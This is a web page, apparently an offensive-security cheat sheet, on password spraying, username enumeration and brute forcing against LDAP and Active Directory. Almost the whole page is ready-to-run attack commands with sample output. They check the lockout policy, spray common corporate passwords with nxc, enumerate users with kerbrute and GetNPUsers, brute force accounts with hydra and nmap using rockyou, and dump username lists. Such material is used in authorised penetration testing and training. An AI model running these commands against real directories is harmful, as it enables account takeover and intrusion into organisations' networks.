Skip to content
HackIndex logo

HackIndex

LDAP Brute Force and Password Spraying

4 min read Jul 10, 2026

LDAP binds authenticate credentials directly against the directory. This makes LDAP a reliable channel for password spraying and brute forcing — a successful bind means the credentials are valid domain credentials usable across all services. Always check the password policy before attempting any credential attacks to avoid account lockouts.

Check lockout policy first

Never spray or brute force before confirming the lockout threshold. A single miscalculation here locks out accounts across the entire domain.

┌──(kali㉿kali)-[~]
└─$ # Anonymous — if anonymous bind is allowed
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(objectClass=domain)" lockoutThreshold lockoutDuration lockoutObservationWindow minPwdLength
 
┌──(kali㉿kali)-[~]
└─$ # Authenticated — with any valid credentials
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(objectClass=domain)" lockoutThreshold lockoutDuration lockoutObservationWindow
 
┌──(kali㉿kali)-[~]
└─$ # nxc
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD --pass-pol
lockoutThreshold: 5
lockoutDuration: -18000000000
lockoutObservationWindow: -18000000000

lockoutThreshold: 5 means 5 failed attempts locks the account. lockoutDuration and lockoutObservationWindow in negative values are intervals — divide by -10000000 to get seconds. A value of -18000000000 is 1800 seconds (30 minutes). With a threshold of 5 and 30-minute window, you can attempt 4 passwords per account per 30 minutes safely.

lockoutThreshold: 0 means no lockout — brute force freely.

Password spraying with nxc

Spraying tests one password against many accounts. It is the safest approach when a lockout policy exists — one attempt per account stays well under any threshold.

┌──(kali㉿kali)-[~]
└─$ # Single password against all users
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u users.txt -p 'Password123!' --continue-on-success
 
┌──(kali㉿kali)-[~]
└─$ # Common corporate patterns
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u users.txt -p 'Company2024!' --continue-on-success
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u users.txt -p 'Welcome1' --continue-on-success
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u users.txt -p 'Summer2024!' --continue-on-success
 
┌──(kali㉿kali)-[~]
└─$ # Spray with multiple passwords — watch lockout count
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u users.txt -p passwords.txt --no-bruteforce --continue-on-success
┌──(kali㉿kali)-[~]
└─$ # --no-bruteforce pairs each user with each password (spray) vs trying all passwords per user (brute)
 
┌──(kali㉿kali)-[~]
└─$ # Test with empty password
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u users.txt -p '' --continue-on-success
LDAP  10.10.10.10  389  DC01  [-] corp.local\jsmith:Password123! 
LDAP  10.10.10.10  389  DC01  [-] corp.local\tharris:Password123!
LDAP  10.10.10.10  389  DC01  [+] corp.local\mwilson:Password123!

A [+] result means valid credentials. STATUS_ACCOUNT_LOCKED_OUT in the output means you have triggered a lockout — stop immediately and wait for the observation window to reset. STATUS_PASSWORD_MUST_CHANGE means valid credentials but the password has expired.

Username enumeration without credentials

On some configurations, LDAP returns different error codes for valid versus invalid usernames even when authentication fails. This allows username enumeration before spraying.

┌──(kali㉿kali)-[~]
└─$ # kerbrute — Kerberos-based username enumeration (more reliable than LDAP)
┌──(kali㉿kali)-[~]
└─$ kerbrute userenum -d $DOMAIN --dc $TARGET_IP /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
 
┌──(kali㉿kali)-[~]
└─$ # impacket GetNPUsers — validates usernames via AS-REQ (no password needed)
┌──(kali㉿kali)-[~]
└─$ impacket-GetNPUsers $DOMAIN/ -dc-ip $TARGET_IP -no-pass -usersfile /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
 
┌──(kali㉿kali)-[~]
└─$ # nxc LDAP username validation
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u /usr/share/seclists/Usernames/top-usernames-shortlist.txt -p '' 2>&1 | grep -v 'STATUS_LOGON_FAILURE'

Targeted brute force — single account, no lockout

Only run a full brute force when lockout is confirmed as disabled or when targeting a specific account with confirmed no-lockout policy (service accounts sometimes have this configured).

┌──(kali㉿kali)-[~]
└─$ # LDAP brute force with Hydra
┌──(kali㉿kali)-[~]
└─$ hydra -l $USER -P /usr/share/wordlists/rockyou.txt ldap2://$TARGET_IP -V
 
┌──(kali㉿kali)-[~]
└─$ # With domain format
┌──(kali㉿kali)-[~]
└─$ hydra -l "$DOMAIN\\$USER" -P /usr/share/wordlists/rockyou.txt ldap2://$TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # LDAPS
┌──(kali㉿kali)-[~]
└─$ hydra -l $USER -P /usr/share/wordlists/rockyou.txt ldap2s://$TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # nmap brute force script
┌──(kali㉿kali)-[~]
└─$ nmap -p 389 --script ldap-brute --script-args ldap.base="$BASE_DN",brute.mode=user,ldap.method=auto $TARGET_IP

Hydra's ldap2 module uses simple bind authentication. On Active Directory this works for domain accounts. On OpenLDAP use the full DN format: -l "cn=admin,dc=corp,dc=local".

Username list sources

A targeted username list dramatically improves spray success rate over a generic wordlist. Build it from LDAP anonymous enumeration, OSINT, email patterns, or SMB null sessions before spraying.

┌──(kali㉿kali)-[~]
└─$ # From anonymous LDAP dump
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(objectClass=user)" sAMAccountName | grep "^sAMAccountName:" | awk '{print $2}' | grep -v '\$$' > users.txt
 
┌──(kali㉿kali)-[~]
└─$ # From nxc
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u '' -p '' --users | grep -oP '\\\\\K[^\s]+' > users.txt
 
┌──(kali㉿kali)-[~]
└─$ # Verify list
┌──(kali㉿kali)-[~]
└─$ wc -l users.txt
┌──(kali㉿kali)-[~]
└─$ head users.txt

References